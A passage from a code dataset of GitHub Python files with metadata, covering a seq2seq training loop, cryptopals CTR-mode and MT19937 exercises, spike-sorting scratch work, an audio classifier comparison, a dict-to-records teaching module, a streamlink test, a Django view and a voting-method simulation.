predict[0]])\n\n\t\tacc = ((answer.detach()[:, 1:] == predict[:, 1:])|(answer.detach()[:, 1:] == 0)&(answer.detach()[:, 1:] != 1)).all(dim = 1).float().mean().item()\n\t\toutput, answer = (output[1:].view(-1, output.shape[-1]),answer[1:].view(-1))\n\t\tloss = loss_func(output, answer)\n\n\t\tepoch_loss += loss.item()\n\t\tepoch_acc += acc\n\treturn epoch_loss/len(dataloader), epoch_acc/len(dataloader)\n\n\ndef safe_epoch(model,encoder, decoder, optimizer, history, idx, mdir, hyper_param):\n\tif not os.path.exists(mdir):\n\t\tos.mkdir(mdir)\n\n\twith open(join(mdir,'hyper_param.json'), 'w') as outfile:\n\t\tjson.dump(hyper_param, outfile, indent = 4)\n\n\twith open(join(mdir, 'history.json'), 'w') as outfile:\n\t\tjson.dump(history, outfile, indent = 4)\n\t\n\t#checkpoint = {'model': model.state_dict()}\n\t#checkpoint2 = {'model':encoder.state_dict()}\n\t#checkpoint3 = {'model':decoder.state_dict()}\n\ttorch.save(model.state_dict(), join(mdir,'model_e-{}.pkl'.format(idx)))\n\t#torch.save(checkpoint2, join(mdir,'encoder_e-{}.pkl'.format(idx)))\n\t#torch.save(checkpoint3, join(mdir,'decoder_e-{}.pkl'.format(idx)))\n\n\n\n'''\ndef load(self, pkl_path):\n checkpoint = torch.load(pkl_path)\n self.model.load_state_dict(checkpoint['model'])\n self.opt.load_state_dict(checkpoint['optimizer'])\n'''\ndef init_weights(model):\n for _, param in model.named_parameters():\n nn.init.uniform_(param.data, -0.08, 0.08)\n\ndef main():\n\t\"\"\"autoencoder\"\"\"\n\targs = parse_args()\n\trandom.seed(1234)\n\ttorch.manual_seed(1234)\n\ttorch.backends.cudnn.deterministic = True\n\tdevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu' )\n\t#load data\n\tsen_list = np.load(args.sen_list)\n\tprint(sen_list[0])\n\tindex2word = json.load(open(args.index2word))\n\tword2index = json.load(open(args.word2index))\n\tlook_up_matrix = np.genfromtxt(args.look_up_matrix, delimiter=',')\n\tsen_len = json.load(open(args.sen_len))\n\n\ttrain_data_loader, valid_data_loader, look_up_matrix = prepare_data(sen_list, look_up_matrix, args.batch_size, device)\n\n\thyper_param = {'out_dim':len(index2word),\n\t\t\t\t\t'embed_dim': 300,\n\t\t\t\t\t'hidden_dim': args.hidden_dim,\n\t\t\t\t\t'layers': args.layers,\n\t\t\t\t\t'dropout': args.dropout,\n\t\t\t\t\t'clip':args.clip,\n\t\t\t\t\t}\n\tencoder = Encoder(hyper_param['embed_dim'], hyper_param['hidden_dim'], hyper_param['layers'], hyper_param['dropout'] ).to(device)\n\tdecoder = Decoder(hyper_param['embed_dim'], hyper_param['hidden_dim'], hyper_param['layers'], hyper_param['dropout'], hyper_param['out_dim']).to(device)\n\tmodel = Seq2Seq(hyper_param['embed_dim'],encoder, decoder, hyper_param['out_dim'], device, look_up_matrix).to(device)\n\tmodel.apply(init_weights)\n\t#nn.init.uniform_(model.weight)\n\t\"\"\"should try\"\"\"\n\toptimizer = optim.Adam(model.parameters())\n\tloss_func = nn.CrossEntropyLoss(ignore_index = 0)\n\t\"\"\"\"\"\"\n\thistory = []\n\tfor i in tqdm(range(args.epoch_size)):\n\t\ttrain_loss, train_acc = train_epoch(model, optimizer, loss_func, train_data_loader, i, index2word, word2index)\n\t\tvalid_loss, valid_acc = valid_epoch(model, optimizer, loss_func, valid_data_loader, i, index2word, word2index)\n\t\tprint({'train':{'loss': train_loss, 'acc':train_acc}, 'valid':{'loss':valid_loss,'acc':valid_acc},})\n\t\thistory.append({'train':{'loss': train_loss, 'acc':train_acc}, 'valid':{'loss':valid_loss,'acc':valid_acc},})\n\t\tsafe_epoch(model, encoder, decoder, optimizer, history, i, args.mdir, hyper_param)\n\n\n\n\n\n\n\n\nif __name__ =='__main__':\n\tmain()\n","repo_name":"ChengDe1996/NTU-SDML","sub_path":"SDML/hw2/src/hw2_0/hw2_0.py","file_name":"hw2_0.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28185524690","text":"import block\nimport xor\n\ndef increment_block_count(b):\n b = bytearray(b)\n for i, byte in enumerate(b):\n if byte == 255:\n b[i] = 0\n else:\n b[i] += 1\n return bytes(b)\n return bytes(b) \n \ndef CTR_mode(stream, key, nonce, block_size=16):\n stream_length = len(stream)\n stream = block.pkcsPadding(stream, block_size)\n stream_blocks = block.blockSplit(stream, block_size)\n output = bytes()\n block_count = bytes([0] * (block_size // 2))\n for bl in stream_blocks:\n keystream = block.encryptAES_ECB(nonce + block_count, key)\n output += xor.xorBytes(bl, keystream)\n block_count = increment_block_count(block_count)\n return output[:stream_length]\n\ndef gen_initial_array(seed, n=624, w=32, f=1812433253):\n mask = (2 ** w) - 1\n array = [seed]\n x = seed\n for i in range(1, n):\n x = (f * (x ^ (x >> (w - 2))) + i) & mask\n array.append(x)\n return array\n\ndef mt19937(seed):\n w, n, m, r = (32, 624, 397, 31) \n a = int('9908B0DF', base=16)\n b, c = (int('9D2C5680', base=16), int('EFC60000', base=16))\n s, t = (7, 15)\n u, d, l = (11, int('FFFFFFFF', base=16), 18)\n f = 1812433253 \n array = gen_initial_array(seed) \n l_mask = (2 ** r) - 1\n u_mask = ((2 ** w) - 1) ^ l_mask\n def rand():\n while True:\n concat = (array[0] & u_mask) | (array[1] & l_mask)\n twist = (concat >> 1) ^ a if concat % 2 else concat >> 1\n x = array[m] ^ twist\n y = x ^ ((x >> u) & d)\n y = y ^ ((y << s) & b)\n y = y ^ ((y << t) & c)\n yield y ^ (y >> l)\n array.append(x)\n array.pop(0)\n return rand()\n","repo_name":"ClementSreeves/cryptopals","sub_path":"stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25554242093","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 15 10:41:12 2019\n\n@author: kkarbasi\n\"\"\"\ntry:\n import cPickle as pickle\nexcept ModuleNotFoundError:\n import pickle\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom neo.io import Spike2IO\n\nfrom kaveh.behavioral import oculomotor\nfrom kaveh.sorting import spikesorter\nfrom kaveh.toolbox import find_file\nfrom kaveh.plots import axvlines\nfrom smr import File\nimport os\n\nf_names= [\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2008_Random/Kimo/K48/error_direction/K48_2_CSddirTuning.smr',\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2008_Random/Kimo/K69/error_direction/K69_1_DirTuning.smr',\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2008_Random/Kimo/K69/error_magnitude/K69_1_ErrorSize45degDir.smr',\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2008_Random/Kimo/K16/error_direction/K16_2_directionaltest.smr',\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2008_Random/Step/S38/error_direction/S38_1_directionaltuning.smr',\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2006/Oscar/O62/O62_1_FW5R_BW5L_A.smr',\n '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2006/Oscar/O62/O62_1_pre.smr',\n ]\ncs_spiketrain_idx = [1, 1, 2, 0, 1, 2, 0]\n#cs_spiketrain_idx = [ 0, 1, 2, 0]\n\n\n\n#%%\nf_id = 6\nnum_spike_train = cs_spiketrain_idx[f_id]\n\n\ncs_path = '/mnt/data/temp/kaveh/auto_processed/' \ncf = find_file(os.path.split(f_names[f_id])[1] + '.pkl', cs_path)\nwith open(cf, 'rb') as input:\n try:\n sss = pickle.load(input, encoding='latin1')\n except TypeError:\n sss = pickle.load(input)\n\n\nneo_reader = Spike2IO(filename=f_names[f_id])\nneo_data = neo_reader.read()\ndata_block = neo_data[0]\nseg = data_block.segments[0]\n\ncs_indices = np.array([])\nfor i in range(num_spike_train+1):\n cs_indices = np.union1d(cs_indices, np.array(seg.spiketrains[i]))\ncs_indices = np.int32(cs_indices/sss.dt)\n\n\ndef construct_y(spike_indices, cs_indices):\n from kaveh.toolbox import closest_argmin\n cs = closest_argmin(cs_indices, spike_indices)\n labeled = np.zeros(spike_indices.shape)\n labeled[cs] = 1.0\n \n return labeled\n\n\nsmr_content = File(f_names[f_id])\nsmr_content.read_channels()\nvoltage_chan = smr_content.get_channel(0)\nsss.voltage = voltage_chan.data\nspike_indices = sss.get_spike_indices()\n\n\n#plt.figure(figsize=(15,5))\n#\n#plt.plot(sss.voltage, alpha = 0.3, zorder = 1)\n#plt.eventplot(spike_indices, alpha = 0.5, linelengths=5000, color = 'r')\n#plt.eventplot(cs_indices, alpha = 0.5, linelengths=10000, color = 'g')\n#plt.show()\n \n#%%\nfrom kaveh.toolbox import closest_argmin\nspike_indices_cs = closest_argmin(cs_indices, spike_indices)\nspike_indices_cs = spike_indices[spike_indices_cs]\n\nplt.figure()\nplt.show(block=False)\n\nfor i, csi in enumerate(cs_indices):\n plt.cla()\n trace = sss.voltage[csi-1000: csi+1000]\n plt.plot(trace, alpha = 0.3, zorder = 1)\n plt.eventplot([csi - spike_indices_cs[i] + 1000], linelengths=np.max(trace)*2.1, color = 'g')\n plt.ylim((np.min(trace)*1.1, np.max(trace)*1.1))\n plt.title(i)\n plt.pause(0.05)\n plt.waitforbuttonpress()\n\n \n \n# plt.eventplot(spike_indices, alpha = 0.5, linelengths=5000, color = 'r')\n# plt.eventplot(cs_indices, alpha = 0.5, linelengths=10000, color = 'g')\n#%%\n#plt.figure()\n##plt.show()\n# \n#for i in range(10):\n## plt.cla()\n# plt.xlim((0,10))\n# plt.ylim((0,10))\n# plt.plot(range(0,i))\n# plt.show()\n# plt.waitforbuttonpress() \n# \n# \n\n#%%\nfor fn in f_names:\n smr_content = File(fn)\n smr_content.read_channels()\n voltage_chan = smr_content.get_channel(0)\n sss = spikesorter.SimpleSpikeSorter(voltage_chan.data, voltage_chan.dt)\n sss.run()\n# sss._detect_spikes_minibatch()\n with open(os.path.join('../data/spike_sorted_fixed_minibatch', os.path.basename(fn) + '.pkl'), 'wb') as output:\n pickle.dump(sss, output, pickle.HIGHEST_PROTOCOL)\n \n \n\n\n#%%\n\nsss = spikesorter.SimpleSpikeSorter(voltage_chan.data, voltage_chan.dt)\nsss._pre_process()\nsss._detect_spikes()\n\n#%%\n#\n#spike_peaks = np.array([np.argmax(sss.voltage[si - int(0.0005/sss.dt): si + int(0.002/sss.dt)]) for si in sss.spike_indices])\n#\n#spike_indices = sss.spike_indices + spike_peaks - int(0.0005/sss.dt)\n\n#%%\n\nplt.figure(figsize=(15,5))\nplt.plot(sss.voltage, alpha = 0.5, color='r')\nplt.plot(sss.voltage_filtered*0.00009, alpha = 0.5, color='g')\nplt.eventplot(sss.spike_indices, alpha = 0.5, linelengths=np.max(sss.voltage)*2, colors='y')\nplt.show()\n\n \n#%%\n#fname = '/mnt/papers/Herzfeld_Nat_Neurosci_2018/raw_data/2010_5_types_of_saccades/Buckley/BuckleyUnit 2007.11.08/BuckleyUnit_2007.11.08_1736_Three.smr'\nf_name = f_names[2]\n\n\n\nsmr_content = File(f_name)\nsmr_content.read_channels()\nvoltage_chan = smr_content.get_channel(0)\nsss = spikesorter.SimpleSpikeSorter(voltage_chan.data, voltage_chan.dt)\nsss._pre_process()\nsss._detect_spikes_minibatch()\n\n\n#74119648.0\n\n\n\n#%%\nf_name = f_names[0]\nsmr_content = File(f_name)\nsmr_content.read_channels()\nvoltage_chan = smr_content.get_channel(0)\n\n# cs_path = '/mnt/data/temp/kaveh/auto_processed/' \n# cs_path = '../data/auto_processed_spike_sorting/'\ncs_path = '../data/spike_sorted_fixed_minibatch'\ncf = find_file(os.path.split(f_name)[1] + '.pkl', cs_path)\nwith open(cf, 'rb') as input:\n sss = pickle.load(input)\n#sss.voltage = voltage_chan.data\n#sss._align_spikes()\n\n \nplt.figure(figsize=(15, 5))\nplt.plot(sss.voltage, alpha = 0.5, color = 'r')\nplt.eventplot(sss.spike_indices, alpha = 0.5, linelengths=np.max(sss.voltage)*2, colors='b')\nplt.show()\n\n#%%\nss_sorted_path = '../data/spike_sorted_temp/'\nfor fn in f_names:\n ss_sorted_fn = find_file(os.path.split(fn)[1] + '.pkl', ss_sorted_path)\n with open(ss_sorted_fn, 'rb') as input:\n sss = pickle.load(input)\n spike_indices = sss.spike_indices\n with open(os.path.join('../data/spike_sorted_temp/', os.path.basename(fn) + '_ss.pkl'), 'wb') as output:\n pickle.dump(spike_indices, output, pickle.HIGHEST_PROTOCOL)\n \n \n \n\n\n\n\n\n\n \n \n \n \n ","repo_name":"kkarbasi/spike2_analysis","sub_path":"scratch_spyder.py","file_name":"scratch_spyder.py","file_ext":"py","file_size_in_byte":6121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40914069546","text":"# -*- coding: utf-8 -*-\n\"\"\"\nExample script\n\nScript to perform some corrections in the brief audio project\n\nCreated on Fri Jan 27 09:08:40 2023\n\n@author: ValBaron10\n\"\"\"\n\n# Import\nimport numpy as np\nimport scipy.io as sio\nfrom scipy.io.wavfile import read, write\nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom features_functions import compute_features\n\nfrom sklearn import preprocessing\nfrom sklearn import svm\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn.metrics import accuracy_score, confusion_matrix, f1_score\nfrom sklearn.metrics import plot_confusion_matrix\nfrom sklearn.metrics import ConfusionMatrixDisplay\n\nimport torch\nimport torchaudio\n\n# Set the paths to the files \ndata_path = \"Data/\"\n\n# Names of the classes\nclasses_paths = [\"Cars/\", \"Trucks/\"]\nclasses_names = [\"car\", \"truck\"]\ncars_list = [4,5,7,9,10,15,20,21,23,26,30,38,39,44,46,48,51,52,53,57]\ntrucks_list = [2,4,10,11,13,20,22,25,27,30,31,32,33,35,36,39,40,45,47,48]\nnbr_of_sigs = 20 # Nbr of sigs in each class\nseq_length = 0.2 # Nbr of second of signal for one sequence\nnbr_of_obs = int(nbr_of_sigs*10/seq_length) # Each signal is 10 s long\n\n# Go to search for the files\nlearning_labels = []\nfor i in range(2*nbr_of_sigs):\n if i < nbr_of_sigs:\n name = f\"{classes_names[0]}{cars_list[i]}.wav\"\n class_path = classes_paths[0]\n else:\n name = f\"{classes_names[1]}{trucks_list[i - nbr_of_sigs]}.wav\"\n class_path = classes_paths[1]\n\n # Read the data and scale them between -1 and 1\n fs, data = sio.wavfile.read(data_path + class_path + name)\n data = data.astype(float)\n data = data/32768\n\n # Cut the data into sequences (we take off the last bits)\n data_length = data.shape[0]\n nbr_blocks = int((data_length/fs)/seq_length)\n seqs = data[:int(nbr_blocks*seq_length*fs)].reshape((nbr_blocks, int(seq_length*fs)))\n\n for k_seq, seq in enumerate(seqs):\n # Compute the signal in three domains\n sig_sq = seq**2\n sig_t = seq / np.sqrt(sig_sq.sum())\n sig_f = np.absolute(np.fft.fft(sig_t))\n sig_c = np.absolute(np.fft.fft(sig_f))\n\n # Compute the features and store them\n features_list = []\n N_feat, features_list = compute_features(sig_t, sig_f[:sig_t.shape[0]//2], sig_c[:sig_t.shape[0]//2], fs)\n features_vector = np.array(features_list)[np.newaxis,:]\n\n if k_seq == 0 and i == 0:\n learning_features = features_vector\n learning_labels.append(classes_names[0])\n elif i < nbr_of_sigs:\n learning_features = np.vstack((learning_features, features_vector))\n learning_labels.append(classes_names[0])\n else:\n learning_features = np.vstack((learning_features, features_vector))\n learning_labels.append(classes_names[1])\n\nprint(learning_features.shape)\nprint(len(learning_labels))\n\n# Separate data in train and test\nX_train, X_test, y_train, y_test = train_test_split(learning_features, learning_labels, test_size=0.1, random_state=42)\n\n# Standardize the labels\nlabelEncoder = preprocessing.LabelEncoder().fit(y_train)\nlearningLabelsStd = labelEncoder.transform(y_train)\ntestLabelsStd = labelEncoder.transform(y_test)\n\n\n\n# Learn the model\nmodels = {\n \"Logistic Regression\": LogisticRegression(solver=\"lbfgs\"),\n 'svm rbf' : svm.SVC(C=300, kernel='rbf', class_weight=None, probability=False),\n 'svm linear' : svm.SVC(C=10, kernel='linear', class_weight=None, probability=False),\n 'svm sigmoid' : svm.SVC(C=10, kernel='sigmoid', class_weight=None, probability=False),\n 'mlp relu' : MLPClassifier(hidden_layer_sizes=(500, 500), max_iter=500, activation= 'relu', solver= 'adam'),\n 'mlp tahn' : MLPClassifier(hidden_layer_sizes=(500, 500), max_iter=500, activation= 'tanh', solver= 'adam'),\n 'k-nn' : KNeighborsClassifier(n_neighbors = 5),\n 'randomforest' : RandomForestClassifier(random_state = 150, max_features = 'auto',criterion= \"entropy\", bootstrap = True),\n \"Decision Tree\": DecisionTreeClassifier()\n}\n# # grid search\n# rf = RandomForestClassifier( bootstrap=True)\n# param_grid = {\n# 'max_depth': [20, None],\n# 'min_samples_split': [2, 5],\n# 'n_estimators': [2000, 4000],\n# 'criterion': [\"entropy\",\"log_loss\", \"gini\"],\n# 'random_state': [0, 10, 20, 50, 80, 100, 150, 200]\n# }\n\n# model = GridSearchCV(estimator = rf, param_grid = param_grid, cv = 3, n_jobs = -1, verbose = 2)\n\n# Listes pour stocker les scores\naccuracies = []\nf1_scores = []\n\nscaler = preprocessing.StandardScaler(with_mean=True).fit(X_train)\nlearningFeatures_scaled = scaler.transform(X_train)\n\nfor name, model in models.items():\n model.fit(learningFeatures_scaled, learningLabelsStd)\n\n # Test the model\n testFeatures_scaled = scaler.transform(X_test)\n\n y_pred = model.predict(testFeatures_scaled)\n accuracy = accuracy_score(testLabelsStd, y_pred)\n f1 = f1_score(testLabelsStd, y_pred)\n #print the score of the model \n print(\"**********************************************************************\")\n print(f\"{name} - Accuracy: {accuracy:.2f}, F1-Score: {f1:.2f}\")\n print(\"----------------------------------------------------------------------------------------------\")\n accuracies.append(accuracy)\n f1_scores.append(f1)\n #print(name , \"Score :\" , model.score(testFeatures_scaled, testLabelsStd))\n \n# # Matrix confusion\n# plot_confusion_matrix(model, testFeatures_scaled, testLabelsStd) \n# plt.show()\n\n\n# Display the confusion matrix\n# disp = ConfusionMatrixDisplay(testFeatures_scaled, testLabelsStd)\n# disp.plot()\n\n# results = model.cv_results_\n# for i in range(len(results['params'])):\n# print(\"Iteration\", i + 1)\n# print(\"Params:\", results['params'][i])\n# print(\"Mean Test Score:\", results['mean_test_score'][i])\n# print(\"Std Test Score:\", results['std_test_score'][i])\n# print(\"\\n\")\n\n# Création de la figure\nfig, ax1 = plt.subplots()\n\n# Tracez les scores de précision\ncolor = \"tab:red\"\nax1.set_xlabel(\"Models\")\nax1.set_ylabel(\"Accuracy\", color=color)\nax1.bar(models.keys(), accuracies, color=color)\nax1.tick_params(axis=\"y\", labelcolor=color)\n\n# Tracez les scores F1\nax2 = ax1.twinx()\ncolor = \"tab:blue\"\nax2.set_ylabel(\"F1-Score\", color=color)\nax2.bar(models.keys(), f1_scores, color=color)\nax2.tick_params(axis=\"y\", labelcolor=color)\n\n# Afficher la figure\nplt.show()","repo_name":"SirineMY/brief-audio-feat-DCASE_data","sub_path":"correction_brief.py","file_name":"correction_brief.py","file_ext":"py","file_size_in_byte":6584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16764338911","text":"\"\"\"\nExample solution for converting lists to records.\n\nThis module provide several functions that convert dictionaries\ncontaining lists of equal lengths to a list of records with data\nfrom corresponding list positions.\n\nExample:\n\n {'name': ['Joe', 'Pia', 'Even', 'Abdul'],\n 'age': [22, 24, 21, 23],\n 'phone': ['12345678', '23456789', '34567890', '45678901']}\n\n is converted to\n\n [{'name': 'Joe', 'age': 22, 'phone': '12345678'},\n {'name': 'Pia', 'age': 24, 'phone': '23456789'},\n {'name': 'Even', 'age': 21, 'phone': '34567890'},\n {'name': 'Abdul', 'age': 23, 'phone': '45678901'}]\n\"\"\"\n\n__author__ = \"Hans Ekkehard Plesser, NMBU\"\n\n\ndef to_records_loop(data):\n \"\"\"\n Implementation using explicit loops.\n\n :param data: dictionary of equal-length lists\n :return: list of dictionaries\n \"\"\"\n\n if not data:\n return []\n # From here on, we know that data is not empty.\n\n # Check if all lists have the same length\n keys = list(data.keys())\n num_fields = len(keys) # number of different lists we have\n num_records = len(data[keys[0]]) # number of entries in first list\n for n in range(1, num_fields): # compare to all other lists\n assert len(data[keys[n]]) == num_records, \"Lists must have same length\"\n\n # Now build list of records\n records = []\n for record_number in range(num_records):\n record = {}\n for key in keys:\n record[key] = data[key][record_number]\n records.append(record)\n\n return records\n\n\ndef to_records_loop_compact(data):\n \"\"\"\n Implementation using explicit loop but more compact than above.\n \"\"\"\n\n if not data:\n return []\n\n # Get all list lengths and compare them to first list length\n num_records_all = [len(vals) for vals in data.values()]\n assert all(nr == num_records_all[0] for nr in num_records_all), \"Lists must have same length\"\n num_records = num_records_all[0]\n\n # Build list, using dictionary comprehension to build individual records\n records = []\n for record_number in range(num_records):\n record = {key: data[key][record_number] for key in data.keys()}\n records.append(record)\n\n return records\n\n\ndef to_records_comprehesion(data):\n \"\"\"\n Implemenation using list comprehesion-dictionary comprehension combo to build list.\n \"\"\"\n\n if not data:\n return []\n\n # Create set of list lengths, must have only a single element\n num_records_set = set(len(vals) for vals in data.values())\n assert len(num_records_set) == 1, \"Lists must have same length\"\n\n # Get the one element of the set\n num_records = num_records_set.pop()\n\n # The list comprehension goes through the entries in the lists, building\n # a dictionary for each by dictionary comprehesion.\n recs = [{key: data[key][record_number] for key in data.keys()}\n for record_number in range(num_records)]\n\n return recs\n\n\ndef to_records_zip(data):\n \"\"\"\n Compact implementation based on using the zip() function twice.\n\n Using zip() avoids the need for a record_number counter variable and is\n thus the most Pythonic way of solving the problem.\n \"\"\"\n\n # Same test for equal list length as above, but on single line\n assert len(set(len(vals) for vals in data.values())) == 1, \"Lists must have same length\"\n\n # The (outer) list comprehension runs over all lists in parallel. For the example\n # data above, value_row will take on the following values in turn:\n #\n # ('Joe', 22, '12345678')\n # ('Pia', 24, '23456789')\n # ('Even', 21, '34567890')\n # ('Abdul', 23, '45678901')\n #\n # The (inner) dictionary comprehension then uses zip to pair the elements\n # in value_row with the corresponding list names, in case of the example\n # ('name', 'age', 'phone') to build the record.\n return [{key: value for key, value in zip(data.keys(), value_row)}\n for value_row in zip(*data.values())]\n\n\ndef pretty_print(list_of_dicts):\n \"\"\"\n Print list of dictionaries with each dictionary one line.\n \"\"\"\n\n # The following line works as follows:\n #\n # - repr(list_of_dicts) returns a string representation of list_of_dicts\n # - repr(list_of_dicts).replace(...) adds a line shift after each end of\n # a dictionary in the middle of the list (the last } is followed by ],\n # not comma.\n print(repr(list_of_dicts).replace('},', '},\\n'))\n\n\nif __name__ == '__main__':\n\n data = {'name': ['Joe', 'Pia', 'Even', 'Abdul'],\n 'age': [22, 24, 21, 23],\n 'phone': ['12345678', '23456789', '34567890', '45678901']}\n\n for converter in [to_records_loop, to_records_loop_compact,\n to_records_comprehesion, to_records_zip]:\n print(50 * '-')\n print(f'Converter function: {converter.__name__}')\n print()\n pretty_print(converter(data))\n print()\n\n","repo_name":"merstad/inf200-advanced-programming","sub_path":"exercises/week_40/lists_to_records.py","file_name":"lists_to_records.py","file_ext":"py","file_size_in_byte":4908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28933950026","text":"import unittest\n\nfrom streamlink.plugins.aljazeeraen import AlJazeeraEnglish\n\n\nclass TestPluginAlJazeeraEnglish(unittest.TestCase):\n def test_can_handle_url(self):\n should_match = [\n 'https://www.aljazeera.com/live/',\n 'https://www.aljazeera.com/programmes/techknow/2017/04/science-sugar-170429141233635.html',\n ]\n for url in should_match:\n self.assertTrue(AlJazeeraEnglish.can_handle_url(url))\n\n def test_can_handle_url_negative(self):\n should_not_match = [\n 'https://example.com/index.html',\n ]\n for url in should_not_match:\n self.assertFalse(AlJazeeraEnglish.can_handle_url(url))\n","repo_name":"NateWeiler/Resources","sub_path":"Python/Python Players/streamlink/tests/plugins/test_aljazeeraen.py","file_name":"test_aljazeeraen.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"28290278837","text":"from django.shortcuts import render, get_object_or_404\nfrom products.models import Product\nfrom .forms import PersonalisationForm\n\n\ndef personalise(request, product_id):\n\n product = get_object_or_404(Product, pk=product_id)\n personalisation_form = PersonalisationForm()\n\n context = {\n 'product': product,\n 'form': personalisation_form,\n }\n\n return render(request, 'personalise/personalise.html', context)\n","repo_name":"sunshine274/MS4-handlettering-art-full-stack-website","sub_path":"personalise/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34221744979","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 21 16:59:09 2021\n\n@author: simone\n\"\"\"\n\nimport functools\nimport itertools\nimport numpy\nimport operator\nfrom pandas.core.common import flatten\n\n\nc = [[1, 2],\n [[70, 16],\n [74, 9],\n [87, 18],\n [85, 52],\n [55, 81],\n [49, 28],\n [58, 91],\n [82, 83],\n [82, 23],\n [60, 10]]]\n\n\ndef functools_reduce_iconcat(a):\n return functools.reduce(operator.iconcat, a, [])\n\n\ndef numpy_flat(a):\n return list(numpy.array(a).flat)\n\n\n#res = functools_reduce_iconcat(c)\n#res = numpy_flat(c)\n#res = functools.reduce(operator.concat, c)\nres = list(flatten(c))\nres = np.array(res).reshape(-1,2)\nprint(res)\n","repo_name":"Zarasim/Python_projects","sub_path":"Quickhull/Quickhull2D/flat_list.py","file_name":"flat_list.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1229123541","text":"import pandas as pd\r\nimport random as rd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nnbCandidats = 10\r\nnbElecteurs = 100\r\n\r\ndistVote = pd.DataFrame(columns=[\"Cand\"+str(x+1) for x in range(nbCandidats)])\r\nfor col in distVote.columns:\r\n distVote[col] = [rd.randint(1,7) for x in range(nbElecteurs)]\r\n\r\ndistribGroupes = pd.DataFrame(columns=[\"Cand\"+str(x+1) for x in range(2)])\r\ndistribGroupes.loc[0,] = [7,6]\r\ndistribGroupes.loc[1,] = [3,1]\r\ndistribGroupes.loc[2,] = [3,4]\r\ndistribGroupes[\"Nb\"] = [50,50,1]\r\n\r\ndef groupeToDistrib(distribGr):\r\n distribGroupes = distribGr.copy(deep=True)\r\n nbList = distribGroupes.pop(\"Nb\")\r\n distrib = pd.DataFrame(columns=distribGroupes.columns)\r\n for i in nbList.index:\r\n nbElec = nbList[i]\r\n addDistrib = pd.DataFrame(columns=distribGroupes.columns,index=[x for x in range(nbElec)])\r\n addDistrib.loc[0:nbElec,] = distribGroupes.loc[i,].values\r\n distrib = pd.concat([distrib, addDistrib], ignore_index=True)\r\n return(distrib)\r\n\r\ndef JugementMajoritaire(distrib):\r\n candidats = distrib.columns\r\n convDistribMentions = pd.DataFrame(columns=distrib.columns)\r\n for cand in distrib.columns:\r\n convDistribMentions[cand] = distrib[cand].sort_values().values\r\n\r\n while (len(candidats) > 1):\r\n print(1)\r\n indexMed = (len(convDistribMentions)-1) // 2\r\n medians = convDistribMentions.loc[indexMed,]\r\n candidats = medians.loc[medians == max(medians),].index.values\r\n if len(candidats) == 1:\r\n # convDistribMentions = convDistribMentions.drop(indexMed)\r\n # convDistribMentions.reset_index(drop=True, inplace=True)\r\n print(\"Le gagnant par JM est \" + candidats[0])\r\n break\r\n else:\r\n convDistribMentions = convDistribMentions[candidats].drop(indexMed)\r\n convDistribMentions.reset_index(drop=True, inplace=True)\r\n # print(medians)\r\n\r\n return(convDistribMentions)\r\n\r\ndef Uninominal1Tour(distrib):\r\n pref = pd.DataFrame(columns=[\"Pref\"])\r\n\r\n for elec in distrib.T.columns:\r\n maxNote = max(distrib.T[elec])\r\n listPref = distrib.T.loc[distrib.T[elec] == maxNote,elec].index.values\r\n\r\n n = rd.randint(1,len(listPref))-1\r\n pref.loc[elec, \"Pref\"] = listPref[n]\r\n print(pref.value_counts())\r\n return(pref.value_counts())\r\n\r\ndef ChampionCondorcet(distrib):\r\n matricePref = pd.DataFrame(columns=distrib.columns)\r\n for i in range(len(distrib.columns)):\r\n for j in range(i+1,len(distrib.columns)):\r\n pref = pd.DataFrame(columns=[\"Pref\"])\r\n Candi = distrib.columns[i]\r\n Candj = distrib.columns[j]\r\n\r\n for elec in distrib.index:\r\n if(distrib.loc[elec, Candi] > distrib.loc[elec, Candj]):\r\n pref.loc[elec,\"Pref\"] = Candi\r\n elif(distrib.loc[elec, Candi] < distrib.loc[elec, Candj]):\r\n pref.loc[elec, \"Pref\"] = Candj\r\n else:\r\n pref.loc[elec, \"Pref\"] = [Candi,Candj][rd.randint(0,1)]\r\n\r\n matricePref.loc[Candi, Candj] = round(pref.value_counts().loc[Candi,]/len(distrib)*100)\r\n matricePref.loc[Candj, Candi] = round(pref.value_counts().loc[Candj,] / len(distrib) * 100)\r\n\r\n Champions = matricePref.loc[matricePref.min(axis=1) > 50,].index.values\r\n if(len(Champions) > 0):\r\n print(\"Champion de 